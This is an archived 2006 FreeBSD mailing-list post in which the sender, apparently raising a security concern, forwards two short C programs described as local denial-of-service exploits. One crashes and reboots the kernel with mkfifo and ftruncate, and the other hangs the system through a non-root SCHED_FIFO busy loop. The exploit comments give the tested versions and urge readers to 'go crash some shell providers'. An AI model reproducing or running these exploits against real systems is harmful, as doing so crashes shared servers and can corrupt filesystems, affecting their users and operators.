From owner-freebsd-questions@FreeBSD.ORG Fri Oct 13 15:21:28 2006 Return-Path: X-Original-To: freebsd-questions@FreeBSD.org Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CD33C16A40F for ; Fri, 13 Oct 2006 15:21:28 +0000 (UTC) (envelope-from aegis@ircwire.net) Received: from rain.ircdhosting.com (ns.ircdhosting.com [66.90.118.136]) by mx1.FreeBSD.org (Postfix) with ESMTP id 155A843D5A for ; Fri, 13 Oct 2006 15:21:25 +0000 (GMT) (envelope-from aegis@ircwire.net) Received: from c-71-192-210-56.hsd1.ma.comcast.net ([71.192.210.56] helo=azrael) by rain.ircdhosting.com with esmtpa (Exim 4.52) id 1GYOqf-0000al-RL for freebsd-questions@FreeBSD.org; Fri, 13 Oct 2006 11:21:22 -0400 Message-ID: <000601c6eedb$3b804b70$6400a8c0@azrael> From: "aegis" To: Date: Fri, 13 Oct 2006 11:21:17 -0400 Organization: ircWire Systems MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - rain.ircdhosting.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - ircwire.net X-Source: X-Source-Args: X-Source-Dir: Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Not sure about... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: aegis List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 15:21:28 -0000 I'm not sure if this is the address I shuold be contacting, although I = feel this is severely important... 1.. /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim = 2006-05-31 13:15:29 UTC 2.. Log: According to POSIX, the result of ftruncate(2) is = unspecified 3.. for file types other than VREG, VDIR and shared memory objects. 4.. We already handle VREG, VLNK and VDIR cases. Silently ignore 5.. truncate requests for all the rest. PR kern/98064 6..=20 7.. lol lol, thatz true. kokanin@gmail lolling it out in '06 = !"#%&%(20061013)(=3D"#"! 8.. tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at = the time of writing) 9.. - it just makes the system reboot, and with a bit of luck fucks = up the filesystem. 10.. wow, that sort of makes this 0day local freebsd denial of = service for non-CURRENT or whatever. 11.. usage: ./run me and wait a moment.. woo, it's friday the 13th, = go crash some shell providers. 12.. =20 13.. */ 14..=20 15.. #include 16.. #include 17.. #include 18.. #include 19..=20 20.. int main(){ 21.. mkfifo("lol",0x1b6); 22.. int fd =3D open("lol",O_RDWR);=20 23.. ftruncate(fd,12345); 24.. close(fd); 25.. }=20 1.. /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu = 2006-05-21 00:40:38 UTC b..=20 3.. Log: Don't allow non-root user to set a scheduler policy, = otherwise this could be a local DOS. 4.. lol lol, thatz true. kokanin@gmail lolling it out in '06 = !"#%&%(20061013)(=3D"#"!=20 5.. tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, = 6.1-RELEASE-p10 (latest at the time of writing) 6.. wow, that sort of makes this 0day local freebsd denial of = service for non-CURRENT or whatever. 7.. usage: ./run me and wait a moment.. woo, it's friday the 13th, = go crash some shell providers. 8.. */ 9.. #include 10.. int main(){ 11.. struct sched_param lol;=20 12.. lol.sched_priority =3D sched_get_priority_max(SCHED_FIFO);=20 13.. sched_setscheduler(0,SCHED_FIFO,&lol); 14.. for(;;){} 15.. }=20